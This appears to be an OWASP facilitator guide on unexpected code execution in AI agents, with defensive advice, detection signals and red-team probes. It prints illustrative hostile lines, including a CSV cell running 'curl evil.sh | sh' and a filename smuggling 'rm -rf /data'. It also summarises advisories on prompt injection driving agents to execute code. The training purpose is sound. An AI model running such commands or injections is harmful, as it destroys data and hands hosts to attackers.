OWASP TOP 10 FOR AGENTIC APPLICATIONS · 2026 · FACILITATOR GUIDE

Unexpected Code Execution

When an agent can write and run code, a single poisoned input becomes arbitrary command execution on your host.

ASI05:2026 | SEVERITY: CRITICAL | RISK 05 OF 10

WHAT THIS DOCUMENT IS

The companion to the Unexpected Code Execution slide deck. Each section maps to a slide and gives you the background to explain it, worked examples, and links to go deeper. Present from the slides; read this to answer the questions the slides provoke.

HOW EXAMPLES ARE LABELLED

Attack traces in this guide are **ILLUSTRATIVE RECONSTRUCTIONS** written to teach the mechanism — they are not transcripts of real incidents. Real events are collected in **DOCUMENTED INCIDENTS AND RESEARCH**, each with a verified source link and a label showing whether it was a confirmed incident, a disclosed vulnerability, a researcher demonstration, or a research paper. The distinction is deliberate: do not present an illustration as a breach.

AUDIENCE

Employees and developers who build, ship, or work alongside AI agents. Developer-specific material is marked; everything else is for everyone.

01 · Executive summary

Everything on this list is serious; this one is terminal. Remote code execution on the worker collapses every other boundary at once — data, tools, memory, credentials, and neighbouring agents all become reachable from a single foothold.

> **The risk in one sentence.** Agent-generated or agent-triggered code executes without sufficient validation or isolation — arbitrary code generation and execution, direct system commands, unsafe evaluation of dynamic expressions, or malicious commands embedded in agent output.

By the end of this module the audience should be able to:

- Explain how a code-capable agent turns data into RCE.
- Recognise unsafe eval and untrusted-input execution.
- Apply strict sandboxing and input allowlisting.
- Test whether poisoned data can escape into command execution.

02 · Background — why this risk exists

SLIDES 4–6

Agents that write and run code convert a data-handling problem into an execution problem. The dangerous step is rarely the model's: it is the pipeline that takes model output, or data the model handled, and passes it to exec, eval, a shell string, or a deserialiser. Classic injection rules apply with full force, but the entry points multiply because untrusted content now arrives through documents, tool results, filenames, and generated code alike.

Why it matters now

Code interpreters and shell tools have become default features of agent frameworks, often enabled with host-level filesystem and network access for convenience during development, then shipped that way. The result is that a poisoned cell in an uploaded spreadsheet, or a filename containing shell metacharacters, reaches an interpreter running as a privileged user.

What changes when the system is agentic

Classic LLM or application	Agentic system
An injection flaw in an app is scoped to that app's queries or output.	A code-capable agent can turn any untrusted string into execution, and without isolation that means remote code execution on the host.

03 · Explaining it to a non-technical audience

SLIDE 5 — THE ANALOGY

The calculator that runs whatever you type. Imagine a calculator that will run **any** command typed into it, not just math. Hand it a spreadsheet from a stranger and one cell says "wipe the disk" — and it obeys, because it never learned the difference between a number and an order.

In the analogy	Maps to	Why it works
THE CALCULATOR	**Code runner**	A tool that executes whatever the agent produces or is fed.
THE CELL	**Poisoned input**	A CSV cell, a filename, an API field carrying a command.
THE FIX	**Sandbox & allowlist**	Run in an isolated, network-less box; validate inputs; never eval untrusted expressions.

> PRESENTER TIP
> Emphasise that this is the risk where 'we'll detect it' is least reassuring: with RCE the attacker can usually disable the detection. Prevention is disproportionately valuable here.

04 · How the attack unfolds

SLIDE 7 — THE KILL CHAIN

Walk the stages in order. The teaching point is that no single stage looks alarming on its own; the compromise is the sequence.

Stage	What happens
01 · INGEST	Untrusted data enters the agent's context.
02 · GENERATE	The agent builds code or a command using it.
03 · EXECUTE	The code runs — often with no sandbox.
04 · ESCAPE	It reaches the network, filesystem, or shell.
05 · PERSIST	A foothold, reverse shell, or dropped payload remains.

05 · Attack vector 1 — Executing agent-generated code

SLIDE 8

HOW IT WORKS The agent writes code to solve a task and runs it directly. Poisoned inputs are woven into that code and execute with the runner's privileges.

What it looks like in practice:

- exec()/eval() on generated snippets.
- No isolation between runner and host.
- Inputs from untrusted data in the code.

Illustrative trace — a reconstruction of the mechanism, not a real transcript:

```
agent ▸ writes analysis.py from CSV
csv.cell = __import__('os').system(
  'curl evil.sh | sh')
runner ▸ exec(analysis.py)
✗ reverse shell on the worker
```

06 · Attack vector 2 — Direct system command invocation

SLIDE 9

HOW IT WORKS A shell tool lets the agent run commands. Untrusted content becomes part of the command line, enabling injection.

What it looks like in practice:

- Unsanitised args in a shell call.
- Filename or field with shell metacharacters.
- No allowlist of permitted commands.

Illustrative trace — a reconstruction of the mechanism, not a real transcript:

```
agent ▸ run("convert " + filename)
filename = "a.png; rm -rf /data"
shell ▸ convert a.png; rm -rf /data
✗ command injection
```

07 · Attack vector 3 — Unsafe evaluation of dynamic expressions

SLIDE 10

HOW IT WORKS The agent evaluates a template or expression built from untrusted data, letting attacker syntax execute.

What it looks like in practice:

- eval of a user-supplied formula.
- Template injection in a rendered string.
- Deserialising untrusted objects.

Illustrative trace — a reconstruction of the mechanism, not a real transcript:

```
agent ▸ eval(user_formula)
user_formula = "__import__('os')..."
✗ code runs inside eval
```

08 · Documented incidents and research

USE THESE WHEN SOMEONE ASKS "HAS THIS ACTUALLY HAPPENED?"

Every item below was verified against the linked source. Use the labels to be precise about what each one is — overstating a demonstration as a breach damages your credibility with a technical audience.

> DISCLOSED VULNERABILITY **LangChain LLMMathChain — LLM output passed to exec()**
>
> 2023-04-05 · CVE-2023-29374 · ECOSYSTEM SECURITY ADVISORY
>
> In LangChain through 0.0.131, the LLMMathChain component passed model-generated Python straight to exec(). A prompt injection instructing the model to import os and call os.system produced arbitrary code execution on the host — no authentication, no user interaction. Rated Critical (CVSS 9.3–9.8). The canonical example of the data-becomes-code failure.
>
> **Source:** GitHub Advisory Database (GHSA-fprp-p869-w6q2)
>
> https://github.com/advisories/GHSA-fprp-p869-w6q2

DISCLOSED VULNERABILITY **LangChain PALChain — a blocklist 'sandbox' bypassed with __import__**

2023-10-09 · CVE-2023-44467 · PRIMARY CVE RECORD

langchain_experimental before 0.0.306 tried to contain generated code with a blocklist. The list did not include __import__, so the fix for an earlier issue was trivially bypassed and arbitrary Python ran again. CVSS 9.8. Use this one to make the point that denylisting generated code does not work — you need real isolation.

Source: NVD / NIST

https://nvd.nist.gov/vuln/detail/CVE-2023-44467

DISCLOSED VULNERABILITY **LlamaIndex safe_eval — sanitiser defeated by avoiding underscores**

2024-04-16 · CVE-2024-3271 · ECOSYSTEM SECURITY ADVISORY

A function named safe_eval attempted to make model-generated code safe by rejecting underscores. Attackers wrote underscore-free payloads that still reached OS command execution. CVSS 9.8, fixed in llama-index-core 0.10.24. A second, independent demonstration that filtering generated code is not containment.

Source: GitHub Advisory Database (GHSA-r6gp-rff2-p3hf)

https://github.com/advisories/GHSA-r6gp-rff2-p3hf

DISCLOSED VULNERABILITY **CurXecute — injected text writes a config the IDE then executes**

2025-08-04 · CVE-2025-54135 · PRIMARY CVE RECORD

Cursor auto-executed newly added MCP server entries, and creating a new dotfile did not require approval. An attacker could plant a prompt injection in untrusted data the agent reads (a public Slack channel, for example), get the agent to write ~/.cursor/mcp.json, and have Cursor run arbitrary commands with developer privileges. CVSS 9.8, fixed in 1.3.9.

Source: Aim Labs; NVD record

https://nvd.nist.gov/vuln/detail/CVE-2025-54135

CONFIRMED INCIDENT **Amazon Q Developer extension shipped with an injected wiper prompt**

2025-07 · CONFIRMED SUPPLY-CHAIN INCIDENT (TRADE PRESS)

An outside contributor obtained write access to the aws-toolkit-vscode repository through a permissions misconfiguration and merged a commit adding a system prompt instructing the agent to wipe the system to near-factory state and delete local files and AWS resources. The extension had roughly a million installs. AWS said the payload was malformed and no customer resources were affected; it was patched in v1.85.0.

Source: Reported by BleepingComputer

https://www.bleepingcomputer.com/news/security/amazon-ai-coding-agent-hacked-to-inject-data-wiping-commands/

09 · Worked scenario — The spreadsheet that opened a shell

SLIDE 11

Illustrative. Constructed to show the mechanism end to end.

A data-analysis agent generates Python and runs it via a code tool. A poisoned CSV cell contains an os.system call.

1. **SETUP — Code-capable agent.** It writes and executes Python to analyse uploaded files.
2. **PAYLOAD — Poisoned cell.** One CSV cell holds an os.system('curl evil | sh') string.
3. **EXECUTE — Unsandboxed run.** The generated code runs on the worker with network access.
4. **IMPACT — Reverse shell.** The attacker gets a foothold on the host.

> WHY THIS MATTERS
>
> Code execution is critical because it collapses every other boundary: with RCE on the worker, an attacker can reach data, tools, memory, and other agents at once.

10 · Common misconceptions

EXPECT THESE AS QUESTIONS

What people say	What to say back
"It only runs code for internal analysis."	If untrusted data reaches the code path, intent is irrelevant. Internal analysis with hostile input is still arbitrary execution.
"The model would not write malicious code."	The model does not need to. The payload arrives in the data the code processes.
"Running in a container is a sandbox."	A container with network access, mounted secrets, and a privileged user is packaging, not isolation.

11 · Containment — the three layers

SLIDE 13

Assume the code will be hostile and design the runner accordingly: ephemeral, no network egress by default, non-root, read-only filesystem where possible, with hard CPU, memory, and wall-clock limits. Never call eval or exec on untrusted expressions and never deserialise untrusted objects; where dynamic evaluation is genuinely required, use a restricted evaluator with an allowlisted grammar. Build shell commands as argument arrays rather than concatenated strings, which removes metacharacter injection as a class. Then monitor the runner for the behaviour that should never occur — an outbound connection, a spawned shell, a write outside its sandbox.

LAYER 01 — SANDBOX EVERYTHING

- Run generated code in ephemeral, isolated containers.
- No network egress by default; least-privilege user.
- Hard CPU, memory, and time limits.

LAYER 02 — NO UNSAFE EVAL

- Never eval/exec untrusted expressions or templates.
- Avoid deserialising untrusted objects.
- Prefer safe, parameterised APIs over string commands.

LAYER 03 — VALIDATE & ALLOWLIST

- Allowlist permitted commands and imports.
- Sanitise every argument; escape shell metacharacters.
- Treat all tool and file content as untrusted.

12 · For developers — secure code patterns

SLIDE 14

VULNERABLE

```
# run whatever the agent produced
exec(agent_code)          # on host
run("convert " + filename) # shell
eval(user_formula)
```

HARDENED

```
with sandbox(net=False, ro=True,
             cpu=1, timeout=5) as box:
    box.run(agent_code)
run(["convert", filename])  # no shell
safe_eval(user_formula, allow=MATH)
```

Generated code runs in an **ephemeral, network-less, least-privilege sandbox** with resource caps; commands are **parameterised**, and expressions use a **safe, allowlisted evaluator**.

Where the controls live

Point	Control
SANDBOX	**Isolate execution.** Ephemeral containers, no default egress, least-privilege user, hard resource caps.
NO-EVAL	**Ban unsafe eval.** No exec/eval of untrusted input; no untrusted deserialisation.
PARAMETERISE	**Avoid string commands.** Use argument arrays and safe APIs, not shell string concatenation.
ALLOWLIST	**Restrict inputs.** Allowlist commands, imports, and expression grammar; sanitise every argument.

13 · For every employee — your role

SLIDE 16

Non-technical staff are not bystanders here. Three behaviours matter more than any technical understanding of the mechanism:

- **Spot it.** If an agent does something nobody asked for — moves data, changes records, contacts someone — treat it as suspicious, however confident it sounds.
- **Don't feed it.** Keep secrets, credentials, and bulk personal records out of agents. Be wary of outside documents an agent will read and act on.
- **Report it fast.** Agents act at machine speed, so the value of a report decays in minutes. An early, slightly wrong report beats a late, well-researched one.

14 · Detection — what to watch and log

SLIDE 17

These signals are only available if the underlying events are logged. Confirm the telemetry exists before relying on the alert.

Signal	What to watch for
PROCESS	**Unexpected spawn.** The code runner launching shells, curl, or interpreters.
EGRESS	**Runner network.** Outbound connections from a box that should have none.
FS	**File access.** Reads/writes outside the sandbox's allowed paths.
PATTERN	**Dangerous syntax.** os.system, __import__, backticks, or metacharacters in generated code.

15 · Red-team drill — how to test your own agent

SLIDE 18

Run these against a non-production agent with the same configuration as production. A probe only passes if it fails safely *every* time, not most of the time.

Probe	Test and pass criterion
PROBE 1	**Data-to-code.** Hide a command in an input file. Pass = it never executes.
PROBE 2	**Shell injection.** Supply a filename with metacharacters. Pass = argument is escaped, no injection.
PROBE 3	**Eval abuse.** Feed a malicious expression. Pass = the safe evaluator rejects it.
PROBE 4	**Sandbox escape.** Attempt network/file access from the runner. Pass = blocked by isolation.

Ship-ready checklist

Control	Done when
Sandboxed runner.	Generated code runs ephemeral, network-less, least-privilege, with resource caps.
No unsafe eval.	No exec/eval of untrusted input or untrusted deserialisation.
Parameterised commands.	Shell calls use argument arrays, never string concatenation.
Input allowlists.	Permitted commands, imports, and expression grammar are allowlisted.
Runtime monitoring.	Process spawns, egress, and file access from runners are logged and alerted.

16 · Knowledge check and discussion

SLIDE 20

Q1. Your agent runs code but "only for internal analysis." Safe?

No. If untrusted data reaches the code, internal analysis becomes RCE. Sandbox and allowlist regardless of intent.

Q2. Why is unsandboxed code execution rated critical?

It collapses every boundary. RCE on the worker reaches data, tools, memory, and other agents at once.

Q3. Safest way to run a shell command from an agent?

Parameterised argument arrays, no shell string concatenation, inside a sandbox with an allowlist of commands.

Take it back to your own systems

Close the session with these. They convert the module into action items:

1. Where does agent-generated or agent-triggered code execute today, and as which user?
2. Can that environment reach the internet or our internal network?
3. If it spawned a shell right now, would we see it in logs?

17 · Glossary

Term	Meaning
RCE	Remote Code Execution — running attacker-chosen code on your system.
Sandbox	An isolated environment that limits what executed code can access.
eval/exec	Language features that run a string as code; dangerous on untrusted input.
Command injection	Injecting extra shell commands via unsanitised arguments.
Least privilege	Running with the minimum permissions the task needs.

18 · Key takeaways

SLIDE 22

1. **Code-capable agents turn data into RCE.** One poisoned input can own the host.
2. **Sandbox every execution.** Ephemeral, network-less, least-privilege, capped.
3. **Never eval untrusted input.** Parameterise commands; allowlist grammar.
4. **RCE collapses all boundaries.** Contain it before it reaches everything else.

19 · References and further reading

Every link below was checked when this guide was produced. Share them freely — the point of citing sources is that your audience can verify the claims themselves.

The framework

> **OWASP Top 10 for Agentic Applications (2026)**
>
> OWASP GENAI SECURITY PROJECT · 2025-12-09
>
> The official framework this training is based on. Peer-reviewed with input from 100+ researchers and an Expert Review Board including NIST, the European Commission, and the Alan Turing Institute.
>
> https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/

> **OWASP Agentic Security Initiative**
>
> OWASP GENAI SECURITY PROJECT · 2025
>
> Programme behind the framework; publishes the companion guides.
>
> https://genai.owasp.org/initiatives/agentic-security-initiative/

> **deepteam — OWASP Top 10 for Agentic Applications reference**
>
> CONFIDENT AI · 2026
>
> Practitioner reference and red-teaming toolkit mapping to the framework.
>
> https://www.trydeepteam.com/docs/frameworks-owasp-top-10-for-agentic-applications

Incidents and research cited in this guide

Source	Link
LangChain LLMMathChain — LLM output passed to exec()	https://github.com/advisories/GHSA-fprp-p869-w6q2
LangChain PALChain — a blocklist 'sandbox' bypassed with __import__	https://nvd.nist.gov/vuln/detail/CVE-2023-44467
LlamaIndex safe_eval — sanitiser defeated by avoiding underscores	https://github.com/advisories/GHSA-r6gp-rff2-p3hf
CurXecute — injected text writes a config the IDE then executes	https://nvd.nist.gov/vuln/detail/CVE-2025-54135
Amazon Q Developer extension shipped with an injected wiper prompt	https://www.bleepingcomputer.com/news/security/amazon-ai-coding-agent-hacked-to-inject-data-wiping-commands/

Citation. OWASP GenAI Security Project, *OWASP Top 10 for Agentic Applications (2026)*, risk ASI05:2026 — Unexpected Code Execution.